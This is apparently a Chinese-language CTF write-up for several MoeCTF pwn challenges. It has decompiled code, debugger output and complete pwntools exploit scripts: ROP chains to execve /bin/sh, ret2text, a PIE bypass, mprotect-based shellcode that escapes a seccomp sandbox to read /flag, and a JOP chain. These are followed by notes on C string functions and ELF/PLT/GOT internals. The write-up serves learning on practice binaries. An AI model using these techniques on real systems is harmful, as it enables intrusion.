pwndbg> tele 0x4040db 00:0000│ rsi 0x4040db (s+59) ◂— 0x68732f6e69622f /* '/bin/sh' */ 01:0008│ 0x4040e3 (s+67) ◂— 0xa /* '\n' */ 02:0010│ 0x4040eb (s+75) ◂— 0
p = start() p.recvuntil(b"choose mode\n" ) p.sendline(b'-32' ) p.recvuntil(b"Input your password\n" ) p.sendline(p64(0x3b )) p.recvuntil(b'Developer Mode.\n' ) payload1=b'a' *0x48 +p64(0x401324 ) p.sendline(payload) pop_rax_ret_addr = 0x401244 pop_rdi_rsi_rdx_ret_addr = 0x40123C syscall = 0x401230 bss_addr = 0x4040db bin_sh = b'/bin/sh\x00' payload2 = b'A' * 0x48 payload2 += p64(pop_rax_ret_addr) payload2 += p64(0x3b ) payload2 += p64(pop_rdi_rsi_rdx_ret_addr) payload2 += p64(bss_addr) payload2 += p64(0 ) payload2 += p64(0 ) payload2 += p64(syscall) p.recvuntil(b"Input your password\n" ) p.sendline(bin_sh) p.recvuntil(b'Developer Mode.\n' ) p.sendline(payload2) p.interactive()
str_check
int __fastcall main (int argc, const char **argv, const char **envp) { char dest[24 ]; size_t n; init(argc, argv, envp); puts ("What can u say?" ); __isoc99_scanf("%255s" , str); puts ("So,what size is it?" ); __isoc99_scanf("%zu" , &n); len = strlen (str); if ( (unsigned __int64)len > 0x18 ) { puts ("Oh,too much." ); exit (1 ); } if ( !strncmp (str, "meow" , 4uLL ) ) memcpy (dest, str, n); else strncpy (dest, str, n); puts ("You're right." ); return 0 ; }
.text:0000000000401236 ; int backdoor() .text:0000000000401236 public backdoor .text:0000000000401236 backdoor proc near .text:0000000000401236 ; __unwind { .text:0000000000401236 endbr64 .text:000000000040123A push rbp .text:000000000040123B mov rbp, rsp .text:000000000040123E lea rax, command ; "/bin/sh" .text:0000000000401245 mov rdi, rax ; command .text:0000000000401248 call _system .text:000000000040124D nop .text:000000000040124E pop rbp .text:000000000040124F retn .text:000000000040124F ; } // starts at 401236 .text:000000000040124F backdoor endp
1. strcpy(dest, src)
功能 :将源字符串src复制到目标缓冲区dest,包括'\0'。
'\0'处理 :
会自动复制源字符串末尾的'\0'到dest中。
风险 :不检查dest的容量,如果src长度超过dest可容纳的空间,会导致缓冲区溢出('\0'也可能越界写入)。
2. strncpy(dest, src, n)
功能 :最多复制n个字节从src到dest。
'\0'处理 :
如果src的长度小于n:会复制src的全部内容(包括'\0'),并在剩余空间填充'\0'直到总长度为n。
如果src的长度大于等于n:只复制前n个字节,不会添加'\0' ,此时dest可能不是一个有效的字符串(缺少结束标志)。
注意 :使用后需手动确保dest以'\0'结尾,例如
strncpy (dest, src, n);dest[n-1 ] = '\0' ;
3. strcat(dest, src)
功能 :将src追加到dest末尾(覆盖dest原有的'\0')。
'\0'处理 :
首先找到dest中已有的'\0',从该位置开始复制src的内容(包括src的'\0')。
风险 :不检查dest的剩余空间,若dest容量不足,会导致缓冲区溢出。
4. strncat(dest, src, n)
功能 :最多将src的前n个字符追加到dest末尾。
'\0'处理 :
无论是否复制了n个字符,最终都会在dest末尾添加一个'\0' 。
若src长度小于n,则复制全部src内容(包括其'\0')后,不再额外添加'\0'(避免重复)。
安全性 :比strcat更安全,因为限制了追加长度,且确保dest以'\0'结尾。
5. memcpy(dest, src, n)
功能 :从src复制n个字节到dest(对所有数据类型通用,不仅限于字符串)。
'\0'处理 :
完全不处理'\0':'\0'仅被视为普通字节,若src中包含'\0'且在n范围内,会被正常复制。
不会自动添加'\0':即使src是字符串,复制后dest也可能缺少结束标志(除非n包含src的'\0')。
风险 :若用于字符串复制且n超过实际长度,可能导致dest无'\0'结束符,后续操作(如printf)会越界访问。
6. strlen(s)
功能 :计算字符串s的长度(不包含'\0')。
'\0'处理 :
从s的首地址开始计数,直到遇到'\0'停止('\0'是终止条件)。
若s中没有'\0',会一直访问到非法内存,导致未定义行为(如程序崩溃)。
7. strcmp(s1, s2)、strncmp(s1, s2, n)
功能 :比较字符串(strcmp比较到'\0'为止,strncmp最多比较n个字符)。
'\0'处理 :
strcmp:当任一字符串遇到'\0'时停止比较。
strncmp:若在n个字符内遇到'\0',会将其视为小于任何非'\0'字符(按 ASCII 值,'\0'为 0)。
p = start() p.recvuntil(b"What can u say?\n" ) payload=b'meow\0' +b'a' *19 +b'0' *16 +p64(0x40123e ) p.sendline(payload) p.recvuntil(b"So,what size is it?\n" ) p.sendline(str (len (payload))) p.interactive()
xdulaker
int __fastcall __noreturn main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); menu(); while ( 1 ) { while ( 1 ) { putchar (62 ); __isoc99_scanf("%d" , &opt); if ( opt != 1 ) break ; pull(); } if ( opt == 2 ) { photo(); } else { if ( opt != 3 ) exit (0 ); laker(); } } }
int menu () { puts ("A freshman has walked into the lake." ); puts ("1.Pull him out" ); puts ("2.Take a photo of him" ); puts ("3.Walk into the lake." ); return puts ("Your choice" ); }
int pull () { return printf ("Thanks,I'll give you a gift:%p\n" , &opt); }
int photo () { _BYTE buf[80 ]; puts ("Hey,what's your name?!" ); read(0 , buf, 0x40u LL); return puts ("I will teach you a lesson." ); }
ssize_t laker () { _BYTE s1[48 ]; if ( memcmp (s1, "xdulaker" , 8uLL ) ) { puts ("You are not him." ); exit (0 ); } puts ("welcome,xdulaker" ); return read(0 , s1, 0x100u LL); }
先选一接收opt_addr,再选2写入能使选3能成功执行的payload,最后选三实现ret2text
注意到// [rsp+0h] [rbp-50h] BYREF和// [rsp+0h] [rbp-30h] BYREF,中间插入0x20个字符就可以了
00:0000│ rsi rsp 0x7ffe4160bea0 ◂— 0x6161616161616161 ('aaaaaaaa' ) ... ↓ 3 skipped 04:0020│-030 0x7ffe4160bec0 ◂— 0x72656b616c756478 ('xdulaker' ) 05:0028│-028 0x7ffe4160bec8 —▸ 0x7ffe4160bef0 —▸ 0x7ffe4160bf00 ◂— 1 06:0030│-020 0x7ffe4160bed0 —▸ 0x7ffe4160c018 —▸ 0x7ffe4160c9e8 ◂— '/home/ubuntu/Moectf/xdulaker/pwn_patched' 07:0038│-018 0x7ffe4160bed8 ◂— 0 08:0040│-010 0x7ffe4160bee0 —▸ 0x7ffe4160bf00 ◂— 1 09:0048│-008 0x7ffe4160bee8 —▸ 0x7ffe4160c018 —▸ 0x7ffe4160c9e8 ◂— '/home/ubuntu/Moectf/xdulaker/pwn_patched' 0a:0050│ rbp 0x7ffe4160bef0 —▸ 0x7ffe4160bf00 ◂— 1 0b:0058│+008 0x7ffe4160bef8 —▸ 0x61d51ba5c448 (main+112) ◂— jmp main+28
00:0000│ rax rdi rsp 0x7ffe4160bec0 ◂— 0x72656b616c756478 ('xdulaker' ) 01:0008│-028 0x7ffe4160bec8 —▸ 0x7ffe4160bef0 —▸ 0x7ffe4160bf00 ◂— 1 02:0010│-020 0x7ffe4160bed0 —▸ 0x7ffe4160c018 —▸ 0x7ffe4160c9e8 ◂— '/home/ubuntu/Moectf/xdulaker/pwn_patched' 03:0018│-018 0x7ffe4160bed8 ◂— 0 04:0020│-010 0x7ffe4160bee0 —▸ 0x7ffe4160bf00 ◂— 1 05:0028│-008 0x7ffe4160bee8 —▸ 0x7ffe4160c018 —▸ 0x7ffe4160c9e8 ◂— '/home/ubuntu/Moectf/xdulaker/pwn_patched' 06:0030│ rbp 0x7ffe4160bef0 —▸ 0x7ffe4160bf00 ◂— 1 07:0038│+008 0x7ffe4160bef8 —▸ 0x61d51ba5c45f (main+135) ◂— jmp main+28
利用固定偏移找到backdoor真实地址,就可以实现PIE绕过
.data:0000000000004010 public opt .data:0000000000004010 opt dd 5 ; DATA XREF: pull+8↑o .data:0000000000004010 ; main+26↑o ... .data:0000000000004010 _data ends
.text:0000000000001249 public backdoor .text:0000000000001249 backdoor proc near .text:0000000000001249 ; __unwind { .text:0000000000001249 endbr64 .text:000000000000124D push rbp .text:000000000000124E mov rbp, rsp .text:0000000000001251 lea rax, command ; "/bin/sh" .text:0000000000001258 mov rdi, rax ; command .text:000000000000125B call _system .text:0000000000001260 nop .text:0000000000001261 pop rbp .text:0000000000001262 retn .text:0000000000001262 ; } // starts at 1249 .text:0000000000001262 backdoor endp
p = start() p.recvuntil(b'>' ) p.sendline(b'1' ) p.recvuntil(b"Thanks,I'll give you a gift:" ) opt_bytes=p.recvuntil(b'\n' ) opt_addr_str = opt_bytes.strip().decode('utf-8' ) opt_addr = int (opt_addr_str, 16 ) log.success(hex (opt_addr)) data_base=opt_addr-0x10 p.recvuntil(b'>' ) p.sendline(b'2' ) p.recvuntil(b"Hey,what's your name?!\n" ) payload1=b'a' *0x20 +b'xdulaker' p.send(payload1) p.recvuntil(b'>' ) p.sendline(b'3' ) backdoor_addr=0x1251 +data_base-0x4000 log.success(hex (backdoor_addr)) payload2=b'A' *0x38 +p64(backdoor_addr) p.send(payload2) p.interactive()
shellbox
int __fastcall main (int argc, const char **argv, const char **envp) { _BYTE v4[4 ]; int n9; init(argc, argv, envp); sandbox(); n9 = 0 ; puts ("You have a box, fill it." ); read(0LL , &buf, 256LL ); puts ("Now, leave your name.." ); while ( n9 != 1 ) { if ( n9 > 9 ) { puts ("Why is it so long?" ); break ; } putchar (62LL ); read(0LL , &v4[8 * n9++], 8LL ); } puts ("Bye!" ); return 0 ; }
__int64 sandbox () { int v0; int v1; int v2; int v3; __int64 v5; v5 = seccomp_init(2147418112LL ); seccomp_rule_add(v5, 0 , 59 , 0 , v0, v1); seccomp_rule_add(v5, 0 , 2 , 0 , v2, v3); return seccomp_load(v5); }
.bss:00000000004CEB60 public buf .bss:00000000004CEB60 buf db ? ; ; DATA XREF: main+3B↑o .bss:00000000004CEB61 db ? ; .bss:00000000004CEB62 db ? ; ... .bss:00000000004CEC5E db ? ; .bss:00000000004CEC5F db ? ;
ubuntu@LAPTOP-RA1SUD0S:~/Moectf/shellbox$ checksec pwn [*] '/home/ubuntu/Moectf/shellbox/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
ubuntu@LAPTOP-RA1SUD0S:~/Moectf/shellbox$ seccomp-tools dump ./pwn line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008 0005: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0008 0006: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x06 0x00 0x00 0x00000000 return KILL
这题是静态链接,尽管开了NX但是可以使用mprotect开权限
先在bss段上布置shellcode,再想办法使用mprotect
先进行n9的绕过,第一次恰好是修改rbp-0x8,将n9改为1即可
因为我们人为增加了n9,所以第二次改的是rbp+0x8,构造ROP链即可
先用gadget把参数传递好,再调用mprotect,再调用shellcode
执行前
00:0000│ rsp 0x7ffff8a938b0 —▸ 0x4ceb60 (buf) ◂— 0x67616c662fb848
0x4cd000 0x4cf000 rw-p 2000 cd000 Moectf/shellbox/pwn
执行后
00:0000│ rsp 0x7ffff8a938b0 —▸ 0x4ceb60 (buf) ◂— movabs rax, 0x67616c662f /* 0x67616c662fb848 */
0x4ce000 0x4cf000 rwxp 1000 ce000 Moectf/shellbox/pwn
shellcode的构造就省略了
p=start() p.recvuntil(b"You have a box, fill it." ) shellcode =""" mov rax,0x0067616c662f push rax mov rsi,rsp xor rdx,rdx mov rax,257 syscall xor rdi,rdi inc rdi mov rsi,rax xor rdx,rdx mov r10,0x100 mov rax,40 syscall """ p.send(b'H\xb8/flag\x00\x00\x00PH\x89\xe6H1\xd2H\xc7\xc0\x01\x01\x00\x00\x0f\x05H1\xffH\xff\xc7H\x89\xc6H1\xd2I\xc7\xc2\x00\x01\x00\x00H\xc7\xc0(\x00\x00\x00\x0f\x05' ) p.recvuntil(b">" ) p.send(p64(0x000100000001 )) p.recvuntil(b">" ) p.send(p64(0x401a40 )) p.recvuntil(b">" ) p.send(p64(0x4CE000 )) p.recvuntil(b">" ) p.send(p64(0x401a42 )) p.recvuntil(b">" ) p.send(p64(0x1000 )) p.recvuntil(b">" ) p.send(p64(0x401a44 )) p.recvuntil(b">" ) p.send(p64(0x7 )) p.recvuntil(b">" ) p.send(p64(0x443520 )) p.recvuntil(b">" ) p.send(p64(0x4CEB60 )) p.interactive()
JOP
int __fastcall __noreturn main (int argc, const char **argv, const char **envp) { setbuf(stdout , 0LL ); puts ("[[ Programmable MoeBot v1.0 ]]\nPlease specify the gestures." ); program(); printf ("Registered %zu gestures. Executing the program...\n" , n_gestures); execute(&gestures); exit (0 ); }
unsigned __int64 program () { unsigned __int64 result; int v1; __int64 v2; unsigned __int64 v3; v3 = __readfsqword(0x28u ); v2 = 0LL ; while ( (unsigned __int64)n_gestures <= 7 ) { puts ("0. Finish\n1. Walk\n2. Wave Hands\n3. Jump\n4. Turn around\n5. Stand still" ); printf ("Choose your gesture: " ); if ( (int )_isoc99_scanf("%u" , &v1) <= 0 ) exit (1 ); switch ( v1 ) { case 0 : goto LABEL_15; case 1 : gestures[v2] = walk; ++n_gestures; goto LABEL_11; case 2 : gestures[v2] = wave_hands; ++n_gestures; goto LABEL_11; case 3 : gestures[v2] = jump; ++n_gestures; goto LABEL_11; case 4 : gestures[v2] = turn; ++n_gestures; goto LABEL_11; case 5 : gestures[v2] = stand_still; ++n_gestures; LABEL_11: printf ("What should I say after this gesture? " ); getchar(); if ( !fgets(&talks[16 * v2], 16 , stdin ) ) exit (1 ); return result; default : puts ("Invalid choice, try again." ); break ; } ++v2; } LABEL_15: result = v3 - __readfsqword(0x28u ); if ( result ) _stack_chk_fail(); return result; }
__int64 __fastcall execute (__int64 a1) { __int64 n_gestures; unsigned __int64 i; for ( i = 0LL ; ; ++i ) { n_gestures = n_gestures; if ( i >= n_gestures ) break ; (*(void (**)(void ))(8 * i + a1))(); printf ("%s" , &talks[16 * i]); sleep(1u ); } return n_gestures; }
.bss:0000000000404040 public n_gestures .bss:0000000000404040 n_gestures dq ? ; DATA XREF: execute:loc_40117D↑r .bss:0000000000404040 ; program+C5↑r ... .bss:0000000000404048 align 20h .bss:0000000000404060 public talks .bss:0000000000404060 ; char talks[128] .bss:0000000000404060 talks db 80h dup(?) ; DATA XREF: execute+45↑o .bss:0000000000404060 ; program+1E6↑o .bss:00000000004040E0 public gestures .bss:00000000004040E0 ; _QWORD gestures[8] .bss:00000000004040E0 gestures dq 8 dup(?) ; DATA XREF: program+B3↑o .bss:00000000004040E0 ; program+E8↑o ... .bss:00000000004040E0 _bss ends .prgend:0000000000404120 ;
我们从program中发现选择无效值,就可以使v2增加,达到在gestures后面写
先选择8次无效值使v2变为8,此时talk恰好落在gestures上,可以被execute执行,而原来的gestures被放在后面
于是可以构造JOP链,观察到
.text:0000000000401231 public gift .text:0000000000401231 gift proc near .text:0000000000401231 ; __unwind { .text:0000000000401231 endbr64 .text:0000000000401235 mov rax, rdi .text:0000000000401238 mov rdi, [rax+8] .text:000000000040123C call qword ptr [rax+10h] .text:000000000040123F retn .text:000000000040123F gift endp
.text:0000000000401228 call cs:system_ptr
可以将rax+0x8作为参数,然后执行rax+0x10
于是先写入gift地址,再写入/bin/sh00地址,再写入call system,即可完成
pwndbg> tele 0x4040E0 00:0000│ 0x4040e0 (gestures) —▸ 0x401231 (gift) ◂— endbr64 01:0008│ 0x4040e8 (gestures+8) —▸ 0x404110 (gestures+48) ◂— 0x68732f6e69622f /* '/bin/sh' */ 02:0010│ 0x4040f0 (gestures+16) —▸ 0x401228 (unreachable+18) ◂— call qword ptr [rip + 0x2d92] 03:0018│ 0x4040f8 (gestures+24) ◂— 0xa /* '\n' */ 04:0020│ 0x404100 (gestures+32) —▸ 0x401228 (unreachable+18) ◂— call qword ptr [rip + 0x2d92] 05:0028│ 0x404108 (gestures+40) ◂— 0xa /* '\n' */ 06:0030│ 0x404110 (gestures+48) ◂— 0x68732f6e69622f /* '/bin/sh' */ 07:0038│ 0x404118 (gestures+56) ◂— 0xa /* '\n' */ pwndbg> 08:0040│ 0x404120 ◂— 0x68732f6e69622f /* '/bin/sh' */ 09:0048│ 0x404128 —▸ 0x40000a ◂— 0x2000000000000 0a:0050│ 0x404130 ◂— 0x68732f6e69622f /* '/bin/sh' */ 0b:0058│ 0x404138 —▸ 0x40000a ◂— 0x2000000000000 0c:0060│ 0x404140 ◂— 0x68732f6e69622f /* '/bin/sh' */ 0d:0068│ 0x404148 —▸ 0x40000a ◂— 0x2000000000000 0e:0070│ 0x404150 ◂— 0x68732f6e69622f /* '/bin/sh' */ 0f:0078│ 0x404158 —▸ 0x40000a ◂— 0x2000000000000
p = start() p.recvuntil(b"Choose your gesture: " ) p.sendline(b"6" ) p.recvuntil(b"Choose your gesture: " ) p.sendline(b"6" ) p.recvuntil(b"Choose your gesture: " ) p.sendline(b"6" ) p.recvuntil(b"Choose your gesture: " ) p.sendline(b"6" ) p.recvuntil(b"Choose your gesture: " ) p.sendline(b"6" ) p.recvuntil(b"Choose your gesture: " ) p.sendline(b"6" ) p.recvuntil(b"Choose your gesture: " ) p.sendline(b"6" ) p.recvuntil(b"Choose your gesture: " ) p.sendline(b"6" ) p.recvuntil(b"Choose your gesture: " ) p.sendline(b"1" ) p.recvuntil(b"What should I say after this gesture? " ) p.sendline(p64(0x401231 )+b'\x10\x41\x40\x00\x00\x00\x00' ) p.recvuntil(b"Choose your gesture: " ) p.sendline(b"1" ) p.recvuntil(b"What should I say after this gesture? " ) p.sendline(p64(0x401228 )) p.recvuntil(b"Choose your gesture: " ) p.sendline(b"1" ) p.recvuntil(b"What should I say after this gesture? " ) p.sendline(p64(0x401228 )) p.recvuntil(b"Choose your gesture: " ) p.sendline(b"1" ) p.recvuntil(b"What should I say after this gesture? " ) p.sendline(b'/bin/sh\x00' ) p.recvuntil(b"Choose your gesture: " ) p.sendline(b"1" ) p.recvuntil(b"What should I say after this gesture? " ) p.sendline(b'/bin/sh\x00' ) p.recvuntil(b"Choose your gesture: " ) p.sendline(b"1" ) p.recvuntil(b"What should I say after this gesture? " ) p.sendline(b'/bin/sh\x00' ) p.recvuntil(b"Choose your gesture: " ) p.sendline(b"1" ) p.recvuntil(b"What should I say after this gesture? " ) p.sendline(b'/bin/sh\x00' ) p.recvuntil(b"Choose your gesture: " ) p.sendline(b"1" ) p.recvuntil(b"What should I say after this gesture? " ) p.sendline(b'/bin/sh\x00' ) p.interactive()
Ret2dlresolve
这个还没有理解完全,题解写的不是太完全太好,望理解,wp在最后面
int __fastcall main (int argc, const char **argv, const char **envp) { setbuf(stdout , 0LL ); setbuf(stdin , 0LL ); setbuf(stderr , 0LL ); vuln(); return 0 ; }
ssize_t vuln () { _BYTE buf[112 ]; return read(0 , buf, 0x100u LL); }
.text:0000000000401156 ; void magic() .text:0000000000401156 public magic .text:0000000000401156 magic proc near .text:0000000000401156 ; __unwind { .text:0000000000401156 endbr64 .text:000000000040115A push rbp .text:000000000040115B mov rbp, rsp .text:000000000040115E pop rdi .text:000000000040115F retn .text:000000000040115F magic endp .text:000000000040115F .text:0000000000401160 ; --------------------------------------------------------------------------- .text:0000000000401160 pop rsi .text:0000000000401161 retn .text:0000000000401161 ; --------------------------------------------------------------------------- .text:0000000000401162 db 90h .text:0000000000401163 ; --------------------------------------------------------------------------- .text:0000000000401163 pop rbp .text:0000000000401164 retn .text:0000000000401164 ; } // starts at 401156
没有后门,也没有任何信息泄露,只有写入足够多内容的能力,是NO RELRO或Partial RELRO,这时候可以使用Ret2dlresolve
32位
#define EI_NIDENT (16) typedef struct { unsigned char e_ident[EI_NIDENT]; Elf32_Half e_type; Elf32_Half e_machine; Elf32_Word e_version; Elf32_Addr e_entry; Elf32_Off e_phoff; Elf32_Off e_shoff; Elf32_Word e_flags; Elf32_Half e_ehsize; Elf32_Half e_phentsize; Elf32_Half e_phnum; Elf32_Half e_shentsize; Elf32_Half e_shnum; Elf32_Half e_shstrndx; } Elf32_Ehdr;
64位
typedef struct { unsigned char e_ident[EI_NIDENT]; Elf64_Half e_type; Elf64_Half e_machine; Elf64_Word e_version; Elf64_Addr e_entry; Elf64_Off e_phoff; Elf64_Off e_shoff; Elf64_Word e_flags; Elf64_Half e_ehsize; Elf64_Half e_phentsize; Elf64_Half e_phnum; Elf64_Half e_shentsize; Elf64_Half e_shnum; Elf64_Half e_shstrndx; } Elf64_Ehdr;
它们的内容结构其实是一样的(不是全部,可以基本认为是完全等价的),只是存储宽度不一样而已
e_ident:ELF 文件的魔数和其他信息。
前 4 字节为 ELFMAG 即 \x7fELF 。
第 5 字节为 ELF 文件类型,值为 ELFCLASS32(1) 代表 32 位,值为 ELFCLASS64(2) 代表 64 位。
第 6 字节为 ELF 的字节序,0 为无效格式,1 为小端格式,2 为大端格式.。
第 7 字节为 ELF 版本,一般为 1 ,即 1.2 版本。
后面 9 字节没有定义一般填 0 ,有些平台会使用这 9 个字节作为扩展标志。
e_type:表示ELF文件类型,如可执行文件、共享对象文件( .so)、可重定位文件( .o)等。
e_machine:表示目标体系结构,即程序的目标平台,如 x86、ARM 等。相关常量以 EM_ 开头。
e_version:ELF 文件版本号,一般为常数 1 。
e_entry:表示程序入口点虚拟地址。操作系统加载完程序后从这个地址开始执行进程的命令。可重定位文件一般没有入口地址,则这个值为 0
e_phoff:表示程序头表的文件偏移量。
e_shoff:表示节表的文件偏移量。
e_flags:表示处理器特定标志。
e_ehsize:表示 ELF 文件头的大小。
e_phentsize:表示程序头表中每个表项的大小。
e_phnum:表示程序头表中表项的数量。
e_shentsize:表示节表中每个表项的大小。
e_shnum:表示节表中表项的数量。
e_shstrndx:表示节表中字符串表的索引。
32位
typedef struct { Elf32_Word sh_name; Elf32_Word sh_type; Elf32_Word sh_flags; Elf32_Addr sh_addr; Elf32_Off sh_offset; Elf32_Word sh_size; Elf32_Word sh_link; Elf32_Word sh_info; Elf32_Word sh_addralign; Elf32_Word sh_entsize; } Elf32_Shdr;
64位
typedef struct { Elf64_Word sh_name; Elf64_Word sh_type; Elf64_Xword sh_flags; Elf64_Addr sh_addr; Elf64_Off sh_offset; Elf64_Xword sh_size; Elf64_Word sh_link; Elf64_Word sh_info; Elf64_Xword sh_addralign; Elf64_Xword sh_entsize; } Elf64_Shdr;
sh_name:表示节的名称在字符串表中的索引。字符串表节存储了所有节的名称, sh_name 指定了节的名称在字符串表中的位置。
sh_type:表示节的类型,指定了节的用途和属性。
SHT_NULL
0
SHT_PROGBITS : 程序/数据/
1
SHT_SYMTAB : 符号表
2
SHT_STRTAB : 字符串表
3
SHT_RELA : 重定位表
4
SHT_HASH: HASH 表
5
SHT_DYNAMIC: 动态链接
6
SHT_NOTE : 注释
7
SHT_NOBITS: 不存在于文件中
8
SHT_REL : 重定位的一些信息
9
SHT_SHLIB
10
SHT_DYNSYM : 动态链接的符号表
11
SHT_INIT_ARRAY
14
SHT_FINI_ARRAY
15
SHT_PREINIT_ARRAY
16
SHT_GROUP
17
SHT_SYMTAB_SHNDX
18
SHT_LOOS
0x60000000
SHT_HIOS
0x6fffffff
SHT_LOPROC
0x70000000
SHT_HIPROC
0x7fffffff
SHT_LOUSER
0x80000000
SHT_HIUSER
0xffffffff
sh_flags:表示节的标志,用于描述节的特性和属性。标志的具体含义取决于节的类型和上下文。
sh_addr:表示节的虚拟地址,只在可执行文件中有意义。对于可执行文件, sh_addr 指定了节在内存中的加载地址,如果该节不可被加载,则该值为 0 。
sh_offset:表示节在文件中的偏移量,指定了节在文件中的位置。对于 bss 段来说该值没有意义。
sh_size:表示节的大小,指定了节所占据的字节数。
sh_link:表示链接到的其他节的索引,用于建立节之间的关联关系,具体含义依赖于节的类型。
sh_info:附加信息,具体含义依赖于节的类型。
sh_addralign:表示节的地址对齐要求,指定了节在内存中的对齐方式。即 sh_addr 需要满足 sh_addrmod 2sh_addralign=0sh_addrmod2sh_addralign=0 。如果 sh_addralign 为 0 或 1 表示该段没有对齐要求。
sh_entsize:表示节中每个项的大小,如果该字段为 0 说明节中不包含固定大小的项。
ELF 中常见的节如下:
.text:代码段(Code Section),用于存储程序的可执行指令。
.rodata:只读数据段(Read-Only Data Section),用于存储只读的常量数据,例如字符串常量。
.data:数据段(Data Section),用于存储已初始化的全局变量和静态变量。
.bss:未初始化的数据段(Block Started by Symbol),用于存储未初始化的全局变量和静态变量。它不占用实际的文件空间,而是在运行时由系统自动初始化为零。
.symtab:符号表节(Symbol Table Section),用于存储程序的符号表信息,包括函数、变量和其他符号的名称、类型和地址等。
.strtab:字符串表节(String Table Section),用于存储字符串数据,如节名称、符号名称等。字符串表节被多个其他节引用,通过偏移量和索引来访问具体的字符串。
.rel.text 或 .rela.text:代码重定位节(Relocation Section),用于存储代码段中的重定位信息,以便在链接时修正代码中的符号引用。
.rel.data 或 .rela.data:数据重定位节(Relocation Section),用于存储数据段中的重定位信息,以便在链接时修正数据段中的符号引用。
.dynamic:动态节(Dynamic Section),用于存储程序的动态链接信息,包括动态链接器需要的重定位表、共享对象的名称、版本信息等。
.note:注释节(Note Section),用于存储与程序或库相关的注释或调试信息。
延迟绑定流程
plt与plt.sec
func@plt: jmp [func@got.plt] ; 第一次跳转,直接跳转到 GOT 中存储的地址 push offset ; offset 为该函数在 GOT 中的索引,如果是第一次调用,GOT 中的地址指向下一条指令 jmp .plt[0] ; 跳转到 PLT 的“调度程序” ... .plt[0]: push QWORD PTR [rip+0x2fe2] bnd jmp QWORD PTR [rip+0x2fe3] nop DWORD PTR [rax]
func@plt.sec endbr64 bnd jmp QWORD PTR [rip+0x2f9d] nop DWORD PTR [rax+rax*1+0x0]
pwndbg> plt Section .plt 0x401020 - 0x401050: No symbols found in section .plt Section .plt.sec 0x401050 - 0x401070: 0x401050: setbuf@plt 0x401060: read @plt pwndbg> x/32i 0x401020 0x401020: push QWORD PTR [rip+0x2fe2] 0x401026: bnd jmp QWORD PTR [rip+0x2fe3] 0x40102d: nop DWORD PTR [rax] 0x401030: endbr64 0x401034: push 0x0 0x401039: bnd jmp 0x401020 0x40103f: nop 0x401040: endbr64 0x401044: push 0x1 0x401049: bnd jmp 0x401020 0x40104f: nop 0x401050 <setbuf@plt>: endbr64 0x401054 <setbuf@plt+4>: bnd jmp QWORD PTR [rip+0x2fbd] 0x40105b <setbuf@plt+11>: nop DWORD PTR [rax+rax*1+0x0] => 0x401060 <read @plt>: endbr64 0x401064 <read @plt+4>: bnd jmp QWORD PTR [rip+0x2fb5] 0x40106b <read @plt+11>: nop DWORD PTR [rax+rax*1+0x0]
got与got.plt
got.plt (_GLOBAL_OFFSET_TABLE_) —▸ 0x403e20 (_DYNAMIC) ◂— 1 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7ffe190(link_map) ◂— 0 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fe7bc0(_dl_runtime_resolve) ◂— endbr64
00:0000│ 0x403ff0 —▸ 0x7d56930a2f90 (__libc_start_main) ◂— endbr64 01:0008│ 0x403ff8 ◂— 0 02:0010│ 0x404000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x403e20 (_DYNAMIC) ◂— 1 03:0018│ 0x404008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7d56932a2190 ◂— 0 04:0020│ 0x404010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7d569328bbc0 ◂— endbr64 05:0028│ 0x404018 (setbuf@got[plt]) —▸ 0x7d569310aad0 (setbuf) ◂— endbr64 06:0030│ 0x404020 (read @got[plt]) —▸ 0x401040 ◂— endbr64
.symtab
注意:符号表除了静态链接外没有用,但是程序为了方便调试会保留符号表,我们可以通过 strip + 程序名 的方式将符号表去除,这就是为什么有的 pwn 题的附件没有函数和变量名而有的却有。
ELF 文件中的符号表往往是文件中的一个段,段名一般叫 .symtab 。符号表是一个 Elf*_Sym 结构(32 位 ELF 文件)的数组,每个 Elf*_Sym 结构对应一个符号。
typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym;
st_name:符号名称在字符串 表中的偏移量。
st_value:符号的值,即符号的地址或偏移量。
如果该符号在目标文件 中,如果是符号的定义并且该符号不是 COMMON 块类型的则 st_value 表示该符号在段中的偏移 。
在目标文件 中,如果符号是 COMMON 块类型的则 st_value 表示该符号的对齐属性 。
在可执行文件 中,st_value 表示符号的虚拟地址 。
st_size:符号的大小,如果符号是一个函数,则表示函数的大小。如果该值为 0 表示符号的大小为 0 或未知。
st_info:该字段是一个字节,包含符号的类型和绑定信息。符号类型包括函数、数据、对象等,符号绑定包括局部符号、全局符号、弱符号等。该字段的高 4 位表示符号的类型,低 4 位表示符号的绑定信息。
st_other:保留字段,通常为 0 。
st_shndx:通常为符号所在节 的索引。
如果符号是一个常量,该字段为 SHN_ABS(初始值不为 0 的全局变量) 或 SHN_COMMON(初始值为 0 的全局变量)。
如果该符号未定义但是在该文件中被引用到,说明该符号可能定义在其他目标文件中,则该字段为 SHN_UNDEF 。
.rel.text/.rel.data
重定位表是一个 Elf*_Rel 结构的数组,每个数组元素对应一个重定位入口。重定位表主要有.rel.text 或 .rela.text,即代码重定位节(Relocation Section)和 .rel.data 或 .rela.data:数据重定位节(Relocation Section)。
typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel;
r_offset:需要进行重定位的位置的偏移量或地址。这个位置通常是指令中的某个操作数或数据的地址,需要在链接时进行修正,以便正确地引用目标符号。
